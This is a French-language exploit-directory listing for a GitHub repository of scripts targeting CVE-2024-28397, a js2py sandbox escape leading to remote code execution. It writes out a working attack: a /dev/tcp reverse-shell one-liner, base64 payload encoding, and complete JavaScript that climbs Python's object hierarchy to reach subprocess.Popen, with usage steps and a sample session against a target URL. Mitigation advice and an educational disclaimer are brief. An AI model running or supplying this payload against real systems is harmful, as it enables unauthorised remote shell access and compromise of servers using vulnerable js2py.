Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE — # Scripts d'exploitation pour CVE-2024-28397, une évasion de sandbox js2py qui exécute du code Python arbitraire pour lancer un shell inversé sur un point de terminaison cible. | Kitploit
Outils/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationOutil d'Accès à Distance
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

# Scripts d'exploitation pour CVE-2024-28397, une évasion de sandbox js2py qui exécute du code Python arbitraire pour lancer un shell inversé sur un point de terminaison cible.

Voir le dépôt
35il y a 0 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-28397 - Exploit d'évasion de sandbox js2py

Une collection de scripts d'exploit ciblant la vulnérabilité d'évasion de sandbox js2py (CVE-2024-28397) qui permet l'exécution de code arbitraire via l'introspection d'objets Python.

🔍 Aperçu de la vulnérabilité

La bibliothèque js2py contient une vulnérabilité critique d'évasion de sandbox qui permet aux attaquants d'exécuter du code Python arbitraire en accédant aux objets internes de Python via la méthode JavaScript Object.getOwnPropertyNames().

Détails techniques

  • CVE ID: CVE-2024-28397
  • Bibliothèque concernée: js2py (traducteur JavaScript vers Python)
  • Vecteur d'attaque: évasion de sandbox via l'introspection d'objets Python
  • Impact: Exécution de code à distance (RCE)

📋 Analyse de référence

Cet exploit est basé sur l'analyse complète de Marven11 :

  • Document d'analyse: CVE-2024-28397 Analyse d'évasion de sandbox js2py

🛠️ Scripts d'exploit

Ce dépôt contient trois implémentations différentes :

1. Script Bash (exploit.sh)

Implémentation légère en bash utilisant curl et jq.

2. Script Go (exploit.go)

Implémentation Go multiplateforme avec un client HTTP intégré.

🚀 Démarrage rapide

Prérequis

  • Pour le script Bash: curl, jq, base64
  • Pour le script Go: Go 1.16+

Utilisation

Tous les scripts sont interactifs et demanderont les informations nécessaires :

root@kitploit:~
# Bash version
chmod +x exploit.sh
./exploit.sh

# Go version
go run exploit.go

Invites interactives

Chaque script demandera :

  1. URL cible: Le point d'accès exécutant le code js2py vulnérable
  2. Votre IP: L'adresse IP de votre machine pour le reverse shell
  3. Votre port: Le numéro de port pour la connexion reverse shell

Exemple de session

root@kitploit:~
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}

🎯 Comment ça fonctionne

1. Génération de la charge utile

L'exploit crée dynamiquement une commande reverse shell :

root@kitploit:~
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

2. Encodage Base64

La commande shell est encodée en base64 pour une transmission sécurisée :

root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. Évasion de sandbox JavaScript

L'exploit principal utilise JavaScript pour accéder aux objets internes de Python :

root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. Flux d'exécution

  1. Accéder au système d'objets Python via Object.getOwnPropertyNames({})
  2. Naviguer vers les classes de base via __class__.__base__.__getattribute__
  3. Rechercher dans les sous-classes subprocess.Popen
  4. Exécuter des commandes système arbitraires via Popen

🛡️ Atténuation

  • Mettre à jour js2py vers une version corrigée
  • Mettre en œuvre une validation et un assainissement appropriés des entrées
  • Utiliser des alternatives de sandboxing sécurisées
  • Appliquer des mesures de sécurité en profondeur

📚 Objectif pédagogique

Ces scripts sont fournis uniquement à des fins éducatives et de test autorisé. Assurez-vous toujours d'avoir une autorisation appropriée avant de tester sur un système.

🔗 Références

  • Entrée officielle CVE-2024-28397
  • Analyse détaillée de Marven11
  • Dépôt GitHub js2py

⚖️ Avertissement

Ce logiciel est fourni uniquement à des fins éducatives et de test de sécurité autorisé. Les utilisateurs sont responsables du respect des lois applicables et de l'obtention d'une autorisation appropriée avant utilisation.

Télécharger l’outil